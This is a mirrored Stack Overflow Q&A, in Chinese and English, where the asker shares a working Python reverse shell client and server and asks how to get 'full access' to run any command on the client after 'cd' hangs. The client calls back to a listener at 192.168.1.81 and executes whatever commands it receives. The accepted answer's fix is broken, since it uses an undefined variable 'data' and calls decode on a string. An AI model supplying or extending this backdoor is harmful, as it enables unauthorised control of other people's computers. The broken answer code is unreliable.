【问题标题】:Reverse Shell Command with Python command gets stuck when trying to change directory尝试更改目录时,使用 Python 命令的反向 Shell 命令卡住
【发布时间】:2021-01-25 18:07:50
【问题描述】:

我正在尝试使用带有 python 的反向 shell 获得具有完全权限的完全访问权限。

连接建立起来,我可以执行“ipconfig”或“dir”之类的命令(尽管有时我需要询问两次才能获得“dir”命令的结果。

但是,当我尝试使用“cd..”命令更改目录时,它会卡住并且不返回任何内容。

这是我的客户文件:

import socket
import subprocess
SERVER_HOST = "192.168.1.81"
SERVER_PORT = 5003
s = socket.socket()
s.connect((SERVER_HOST, SERVER_PORT))
while True:
    command = s.recv(1024).decode() 
    if command.lower() == "exit":
        break
    else:
        output = subprocess.getoutput(command)
        s.send(output.encode())
s.close()

这是我的服务器文件:

import socket
SERVER_HOST = "192.168.1.81"
SERVER_PORT = 5003
s = socket.socket()
s.bind((SERVER_HOST, SERVER_PORT))
s.listen(5)
print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")
client_socket, client_address = s.accept()
print(f"{client_address[0]}:{client_address[1]} Connected!")
while True:
    command = input("Enter the command you wanna execute:")
    client_socket.send(command.encode())
    if command.lower() == "exit":
        break
    else:
        results = client_socket.recv(1024).decode()
        print(results)
client_socket.close()
s.close()

这是我得到的以及卡住的地方:

Listening as 192.168.1.81:5003 ...
192.168.1.81:52553 Connected!
 Enter the command you wanna execute:dir
 Volume in drive C is Windows
 Volume Serial Number is 7E4C-AD89

 Directory of C:\Users\CobraCommander\PycharmProjects\Nuke

10/11/2020  08:45 AM    <DIR>          .
10/11/2020  08:45 AM    <DIR>          ..
10/11/2020  08:44 AM    <DIR>          .idea
10/11/2020  12:40 AM                 0 Client.py
10/11/2020  08:45 AM               569 my_client.py
10/11/2020  12:40 AM               885 my_server.py
               3 File(s)          1,454 bytes
               3 Dir(s)  46,585,339,904 bytes free
Enter the command you wanna execute:cd..

# It gets stuck here, it does not return anything.

如何获得对客户端的完全访问权限并执行任何可能的命令?

【问题讨论】:

  • 没有进程可以改变另一个进程的工作目录。这就是你无法执行 cd 的原因。您可以参考stackoverflow.com/questions/21406887/…以获得更多说明
  • 卡住的原因是运行cd并没有返回任何内容,并且在客户端运行cd后,它尝试发送长度为零的消息,而接收部分在服务器端永远等待,因为什么都不会发生。

标签: python python-3.x sockets subprocess reverse-shell


【解决方案1】:

通过使用客户端文件中的“os”库和“os.chdir”方法解决,如下所示:

import socket
import subprocess

import os # Import this library

SERVER_HOST = "192.168.1.81"
SERVER_PORT = 5003
s = socket.socket()
s.connect((SERVER_HOST, SERVER_PORT))
while True:
    command = s.recv(1024).decode() 

    if data[:2].decode('utf-8') == 'cd':
        os.chdir(data[3:].decode('utf-8')) # Use the method change directory called "os.chdir"

    if command.lower() == "exit":
        break
    else:
        output = subprocess.getoutput(command)
        s.send(output.encode())
s.close()

【讨论】:

    猜你喜欢
    • 2023-03-03
    • 2016-07-02
    • 1970-01-01
    • 2014-05-05
    • 2021-09-14
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2016-10-10
    相关资源
    最近更新 更多